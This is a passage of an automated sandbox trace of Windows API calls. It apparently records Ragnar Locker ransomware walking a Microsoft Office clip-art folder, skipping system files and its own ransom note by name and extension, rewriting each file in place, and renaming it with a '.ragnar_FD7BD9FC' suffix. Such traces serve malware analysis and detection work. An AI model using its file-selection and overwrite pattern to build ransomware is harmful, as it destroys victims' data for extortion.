(lpString1="NA02426_.WMF", lpString2="iconcache.db") returned 1 [0089.204] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="ntldr") returned -1 [0089.204] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="ntuser.dat") returned -1 [0089.204] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.204] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="ntuser.ini") returned -1 [0089.204] lstrcmpiW (lpString1="NA02426_.WMF", lpString2="thumbs.db") returned -1 [0089.204] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.204] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.204] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.204] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.204] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.204] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.204] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf")) returned 0x20 [0089.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.204] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6472) returned 1 [0089.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x193f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.205] GetProcessHeap () returned 0x580000 [0089.205] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.205] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.206] VirtualAlloc (lpAddress=0x0, dwSize=0x1948, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.206] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.206] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.206] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1948, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1948, lpOverlapped=0x0) returned 1 [0089.207] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.207] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1948, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.207] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1948, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1948, lpOverlapped=0x0) returned 1 [0089.208] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1948, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.208] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.208] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1948, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.208] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.208] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.208] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.208] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.208] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.208] GetProcessHeap () returned 0x580000 [0089.208] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.208] CloseHandle (hObject=0xf4) returned 1 [0089.208] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" [0089.208] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.ragnar_FD7BD9FC" [0089.208] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.209] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02431_.WMF", cAlternateFileName="")) returned 1 [0089.209] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.209] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02431_.WMF" | out: lpString1="NA02431_.WMF") returned="NA02431_.WMF" [0089.209] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF") returned=".WMF" [0089.209] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.209] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="autorun.inf") returned 1 [0089.209] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="boot.ini") returned 1 [0089.209] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="bootfont.bin") returned 1 [0089.209] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="bootsect.bak") returned 1 [0089.210] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="bootmgr") returned 1 [0089.210] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="bootmgr.efi") returned 1 [0089.210] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.210] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="desktop.ini") returned 1 [0089.210] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="iconcache.db") returned 1 [0089.210] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="ntldr") returned -1 [0089.210] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="ntuser.dat") returned -1 [0089.210] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.210] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="ntuser.ini") returned -1 [0089.210] lstrcmpiW (lpString1="NA02431_.WMF", lpString2="thumbs.db") returned -1 [0089.210] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.210] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.210] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.210] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.210] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.210] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.210] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf")) returned 0x20 [0089.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.211] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7212) returned 1 [0089.211] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.211] GetProcessHeap () returned 0x580000 [0089.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.211] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.212] VirtualAlloc (lpAddress=0x0, dwSize=0x1c2c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.212] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.212] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.212] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c2c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c2c, lpOverlapped=0x0) returned 1 [0089.213] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.213] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.213] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c2c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c2c, lpOverlapped=0x0) returned 1 [0089.214] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.214] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.214] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.214] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.214] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.214] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.214] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.214] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.214] GetProcessHeap () returned 0x580000 [0089.214] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.214] CloseHandle (hObject=0xf4) returned 1 [0089.214] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" [0089.214] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.ragnar_FD7BD9FC" [0089.214] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.215] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02435_.WMF", cAlternateFileName="")) returned 1 [0089.215] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.215] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02435_.WMF" | out: lpString1="NA02435_.WMF") returned="NA02435_.WMF" [0089.215] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF") returned=".WMF" [0089.215] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.215] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="autorun.inf") returned 1 [0089.215] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="boot.ini") returned 1 [0089.215] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="bootfont.bin") returned 1 [0089.215] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="bootsect.bak") returned 1 [0089.215] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="bootmgr") returned 1 [0089.215] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="bootmgr.efi") returned 1 [0089.215] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.215] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="desktop.ini") returned 1 [0089.216] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="iconcache.db") returned 1 [0089.216] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="ntldr") returned -1 [0089.216] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="ntuser.dat") returned -1 [0089.216] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.216] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="ntuser.ini") returned -1 [0089.216] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="thumbs.db") returned -1 [0089.216] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.216] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.216] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.216] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.216] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.216] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.216] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf")) returned 0x20 [0089.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.219] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4088) returned 1 [0089.219] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.219] GetProcessHeap () returned 0x580000 [0089.220] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.220] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.221] VirtualAlloc (lpAddress=0x0, dwSize=0xff8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.221] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xff8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xff8, lpOverlapped=0x0) returned 1 [0089.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.222] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xff8, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.222] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xff8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xff8, lpOverlapped=0x0) returned 1 [0089.222] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xff8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.222] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.222] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xff8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.222] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.222] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.222] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.222] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.222] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.222] GetProcessHeap () returned 0x580000 [0089.223] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.223] CloseHandle (hObject=0xf4) returned 1 [0089.223] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" [0089.223] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.ragnar_FD7BD9FC" [0089.223] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.223] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02439_.WMF", cAlternateFileName="")) returned 1 [0089.223] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.223] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02439_.WMF" | out: lpString1="NA02439_.WMF") returned="NA02439_.WMF" [0089.224] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF") returned=".WMF" [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="autorun.inf") returned 1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="boot.ini") returned 1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="bootfont.bin") returned 1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="bootsect.bak") returned 1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="bootmgr") returned 1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="bootmgr.efi") returned 1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="desktop.ini") returned 1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="iconcache.db") returned 1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="ntldr") returned -1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="ntuser.dat") returned -1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="ntuser.ini") returned -1 [0089.224] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="thumbs.db") returned -1 [0089.224] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.224] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.224] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.224] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.224] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.224] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 